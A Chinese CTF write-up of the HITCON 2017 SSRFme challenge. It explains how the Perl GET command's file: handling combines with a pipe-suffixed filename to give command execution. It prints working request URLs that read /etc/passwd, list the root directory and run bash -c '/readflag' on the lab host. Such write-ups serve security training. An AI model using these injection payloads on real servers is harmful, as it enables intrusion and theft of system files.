CTF Web安全

GET命令执行漏洞[HITCON 2017]SSRFme

Posted on 2020-01-02,3 min read

源码如下

分析代码
1.
首先就是根据IP。创建个沙盒文件夹

文件夹名字为md5('orange'+IP)
2.执行命令
GET escapeshellarg($_GET['url'])函数作用是。将我们输入的转换成可以执行在bash执行的命令。比如转移单引号什么的。确保字符串能够被执行
3.创建文件夹 将我们输入的filename。生成文件夹。这步骤没啥用。只要不输入绝对路径。就不会生成文件夹。所有文件都会在当前沙盒文件夹内

例如:
输入/var/www/html/
会在当前目录创建一个html的文件夹。
输入1.php
获取不到路径。就不会创建文件夹

4.将命令执行结果放入filename我们输入1.php
dir=NULL也就不创建目录。然后将GET命令执行的结果放入1.php
解题
第一反应。
直接命令拼接。放入1.phpc
http://487b33dc-4aff-4199-bb76-08e290b9ed70.node3.buuoj.cn/?url=%26%26whoami&filename=a
试了所有的命令拼接符。输出到A。都返回400

看了writeup才知道。这里是考GET命令执行漏洞
GET命令类似于CURL。用来发起一个请求。并且支持file协议

也就是说。创建一个'whoami|'。然后GET 'file:whoami|'
就可以执行whoami命令

http://487b33dc-4aff-4199-bb76-08e290b9ed70.node3.buuoj.cn/?url=&filename=/etc/passwd
http://487b33dc-4aff-4199-bb76-08e290b9ed70.node3.buuoj.cn/?url=file:/etc/passwd&filename=a
执行的命令如下:GET file:/etc/passwd >a


读取下根目录文件

http://487b33dc-4aff-4199-bb76-08e290b9ed70.node3.buuoj.cn/?url=&filename=/
http://487b33dc-4aff-4199-bb76-08e290b9ed70.node3.buuoj.cn/?url=file:/&filename=a
GET file:/ >a


根目录下有flag和Readflag
估计要执行readflag读取flag
根据上面讲过的执行命令。直接构造bash -c '/readflag'>a就好了

http://487b33dc-4aff-4199-bb76-08e290b9ed70.node3.buuoj.cn/?url=&filename=bash%20-c%20%27/readflag%27|
http://487b33dc-4aff-4199-bb76-08e290b9ed70.node3.buuoj.cn/?url=file:bash%20-c%20%27/readflag%27|&filename=a

下一篇: Xctf smarty解题思路→